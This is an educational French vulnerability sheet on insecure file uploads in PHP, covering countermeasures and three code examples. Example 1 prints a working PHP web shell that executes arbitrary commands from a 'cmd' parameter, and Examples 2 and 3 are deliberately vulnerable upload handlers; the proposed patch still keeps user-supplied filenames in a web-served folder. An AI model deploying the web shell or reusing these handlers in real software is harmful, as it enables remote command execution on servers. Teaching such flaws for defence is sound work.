File Upload

Description

L'upload de fichier consiste à transférer un fichier d'un utilisateur vers un serveur web. Il s'agit de l'opération inverse du téléchargement (download). Ceci peut par exemple permettre à un utilisateur de mettre en ligne des photos, des images etc. L'upload de fichier ou file upload n'est pas une vulnérabilité en soit, mais le fait de ne pas contrôler ce que l'utilisateur upload sur le serveur constitue une vulnérabilité.

En effet, un attaquant peut potentiellement uploader un fichier malveillant tel qu'un web shell qui est une interface shell permettant l'accès et le contrôle à distance d'un serveur Web ainsi que l'exécution de commandes arbitraires.

Pré-requis d'exploitation

Pour exploiter cette vulnérabilité, il est nécessaire d'avoir accès à un serveur web proposant une fonctionnalité d'upload, avec des contrôles et mécanismes de protection insuffisants permettant de télécharger un web shell.

Compétences nécessaires

- Connaissance du protocole HTTP ;
- Connaissance du type MIME ;
- Connaissance sur les types de fichiers et leurs extensions ;
- Connaissance des techniques employées pour contourner certains contrôles.

Ressources nécessaires

- Outils de modification et/ou d’interception de requêtes (Burp, Curl).

Flux d'exécution

Explorer

Énumérer les fonctionnalités permettant d'uploader des fichiers et identifier les répertoires dans lesquels ces derniers vont être téléchargés.

Expérimenter

Lister les différentes extensions et les différents type MIME acceptés par le serveur web.

Exploiter

Conséquences potentielles

Le succès de ce type d'attaque peut permettre :

- L’exécution de commandes sur l'hôte de l'application avec le niveau de privilège de l'utilisateur exécutant le service web ;
- L'utilisation de l'hôte de l'application comme machine de rebond pour mener des attaques sur le réseau interne, ou sur Internet ;
- L'utilisation de l'hôte de l'application pour miner de la cryptomonnaie ;
- Le déploiement d'une backdoor pour maintenir un accès persistant sur l'hôte de l'application.

Contres-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

- S'assurer que le serveur web est à jour avec tous les correctifs pour être protégé contre les vulnérabilités connues ;
- S'assurer que les autorisations de fichiers dans les répertoires du serveur web à partir desquels les fichiers peuvent être exécutés sont définies sur les paramètres de **moindre privilège**, et que le contenu de ces répertoires est contrôlé par une liste

d'autorisations ;
- Contrôler les extensions des fichiers ainsi que leur MIME-type ;
- Renommer les fichiers uploadés sur le système avec une chaîne de caractère aléatoire ;
- Stocker les fichiers uploadés dans un répertoire sur lequel l'utilisateur du service web n'a pas les droits d'exécution (en dehors de la racine du serveur web) ;
- Filtrer les extensions et type MIME avec un système de liste blanche plutôt que liste noire ;
- Limiter la taille des fichiers uploadés et la taille du nom du fichier, et filtrer les caractères spéciaux dans le nom du fichier ;
- N'autoriser que les utilisateurs authentifiés à utiliser une fonction d'upload.

Comment cela fonctionne

Exemple 1

Le code suivant est un web shell basique. En exploitant une fonction d'envoi de fichier vulnérable sur un serveur PHP, on aura alors la possibilité d'exécuter des commandes arbitraires sur le système. Ce code reçoit un paramètre dans l'URL **cmd** correspondant à une commande shell (par exemple “cat /proc/version” ou encore “crontab -l”) qui sera exécutée sur le système et dont le résultat sera affiché dans le corps HTML de la réponse HTTP :

```
<html>
<head>
    <title>Command Execution Form</title>
</head>
<body>
    <!-- Création d'un formulaire HTML avec la méthode "GET" et le nom du formulaire
         basé sur le nom du fichier PHP en cours d'exécution -->
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
        <!-- Champ de saisie de texte où l'utilisateur peut entrer une commande à exécuter -->
        <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
        <!-- Bouton de soumission pour exécuter la commande entrée -->
        <input type="SUBMIT" value="Execute">
    </form>
    <!-- Zone de préformatage HTML où les résultats de la commande exécutée seront affichés -->
    <pre>
        <?php
        // Vérification si le paramètre 'cmd' est défini dans la requête GET
        if(isset($_GET['cmd']))
        {
            // Exécution de la commande passée par l'utilisateur en utilisant la fonction 'system'
            system($_GET['cmd']);
        }
        ?>
    </pre>
</body>
</html>
```

Exemple 2

Voici un exemple de code PHP d'une fonctionnalité d'envoi de fichier vulnérable :

```
<!DOCTYPE html>
<html>
<head>
    <title>File upload</title>
</head>
<body>
<!-- Contenu principal de la page -->
<div id="main">
    <div class="container">
        <div class="row">
            <h1>File upload</h1>
        </div>
        <div class="row">
            <p class="lead">
                You can just upload [jpeg,gif] files.<br />
                <!-- Paragraphe de texte indiquant les types de fichiers autorisés -->
```

```
            </p>
        </div>
    </div>
</div>
<div class="container">
    <div class="row">
    <!-- Création d'un formulaire HTML avec la méthode POST pour envoyer le fichier sur le serveur -->
        <form action="index.php" method="post" enctype="multipart/form-data">
            <div class="form-group col-md-3">
                <!-- Champ d'upload de fichier avec l'attribut "accept" pour accepter uniquement les
fichiers jpeg et gif -->
                <input type="file" id="fileToUpload" name="fileToUpload" accept="image/gif, image/jpeg"
required>
                <!-- Bouton de soumission du formulaire avec le texte "Upload" -->
                <input type="submit" value="Upload" class="form-control btn btn-default" name="submit">
            </div>
        </form>
    </div>

    <?php
    // Code PHP pour gérer l'upload du fichier
    $target_dir = "uploads/"; // Répertoire de destination pour enregistrer le fichier

    if(isset($_POST["submit"])) { // Vérification si le formulaire a été soumis
        // Chemin complet pour enregistrer le fichier dans le répertoire de destination
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

        // Déplacement du fichier temporaire vers le répertoire de destination
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {

            // Affichage d'un message de succès avec le lien vers le fichier uploadé
            echo "<p class=\"alert-success\">The file has been uploaded here: <a
href=\"$target_file\">$target_file</a>.</p>";
        } else {
            // Affichage d'un message d'erreur en cas de problème lors de l'upload du fichier
            echo "<p class=\"alert-danger\">Sorry, there was an error uploading your file.</p>";
        }
    }
    ?>
    <script type="text/javascript" src="../static/css/bootstrap.min.js"></script>
</body>
</html>
<?php
// Inclusion d'un fichier "footer.php" pour afficher le pied de page de la page web
include ("../footer.php");
?>
```

Ce code n'effectue aucun contrôle côté serveur sur la nature du fichier envoyé. Le seul contrôle effectué est réalisé côté client via le paramètre “accept” dans la balise

```
<input type="file" id="fileToUpload" name="fileToUpload" accept="image/gif, image/jpeg" required>
```

Ce contrôle peut facilement être contourné, par exemple à l'aide d'un proxy applicatif tel que BurpSuite. Un utilisateur malveillant peut alors envoyer n'importe quel type de fichier, comme par exemple un webshell.

Pour prévenir l'exploitation de cette fonctionnalité, il aurait fallu implémenter des contrôles en PHP côté serveur sur le type MIME et l'extension du fichier envoyé, et renvoyer une erreur à l'utilisateur si le fichier ne correspond pas au type attendu.

Exemple 3

Voici un exemple de code PHP vulnérable à des attaques de type MIME :

```
<!DOCTYPE html>
<html>
<head>
    <title>File Upload</title>
</head>
<body>
```

```
    <h1>File Upload</h1>
    <!-- Création d'un formulaire HTML avec la méthode POST -->
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" id="fileToUpload">
        <!-- Bouton de soumission du formulaire -->
        <input type="submit" value="Upload File" name="submit">
    </form>
    <?php
    // Vérifier si le formulaire a été soumis
    if(isset($_POST["submit"])) {
        $target_dir = "uploads/"; // Répertoire de destination pour enregistrer le fichier
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

        // Vérifier si le fichier est une image réelle ou une image contrefaite
        if(isset($_FILES["fileToUpload"])) {
            $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
            if($check !== false) {
                echo "File is an image - " . $check["mime"] . ".";
                $uploadOk = 1;
            } else {
                echo "File is not an image.";
                $uploadOk = 0;
            }
        }

        // Autoriser certains formats de fichiers uniquement
        $allowedMimeTypes = array("image/jpeg", "image/png");
        if(!in_array($_FILES["fileToUpload"]["type"], $allowedMimeTypes)) {
            echo "Sorry, only JPG, JPEG, and PNG files are allowed.";
            $uploadOk = 0;
        }

        // Vérifier si $uploadOk est mis à 0 par une erreur
        if ($uploadOk == 0) {
            echo "Sorry, your file was not uploaded.";
        // Si tout est correct, essayez de télécharger le fichier
        } else {
            if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
                echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
            } else {
                echo "Sorry, there was an error uploading your file.";
            }
        }
    }
    ?>
</body>
</html>
```

Ce code est une page web qui permet à l'utilisateur de télécharger un fichier sur le serveur via un formulaire. Cependant, il est vulnérable à des attaques de type MIME, ce qui signifie que des fichiers malveillants peuvent être téléchargés sur le serveur en utilisant des en-têtes MIME falsifiées.

Correction du code :

Pour résoudre cette vulnérabilité, il est nécessaire de vérifier le contenu réel du fichier plutôt que de se fier uniquement à l'en-tête MIME fournie par le client. Voici un patch qui améliore la sécurité du téléchargement de fichiers :

```
<?php
if(isset($_POST["submit"])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

    // Vérifier si le fichier est une image réelle
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check === false) {
```

```
        echo "File is not an image.";
        $uploadOk = 0;
    }

    // Autoriser uniquement certains formats de fichiers
    $allowedExtensions = array("jpg", "jpeg", "png");
    if(!in_array($imageFileType, $allowedExtensions)) {
        echo "Sorry, only JPG, JPEG, and PNG files are allowed.";
        $uploadOk = 0;
    }

    // Vérifier si $uploadOk est mis à 0 par une erreur
    if ($uploadOk == 0) {
        echo "Sorry, your file was not uploaded.";
    // Si tout est correct, essayez de télécharger le fichier
    } else {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    }
}
?>
```

Avec ce patch, la vulnérabilité est corrigée en vérifiant le contenu réel du fichier avec getimagesize(). De plus, nous utilisons une liste blanche d'extensions de fichiers autorisées ($allowedExtensions) pour s'assurer que seuls les fichiers d'images avec des extensions spécifiques (JPG, JPEG et PNG) sont autorisés à être téléchargés. Cela rend le processus d'envoi plus sûr et prévient les attaques de type MIME.

Retour fiches vulnérabilités

- Cyber fiches vulnérabilités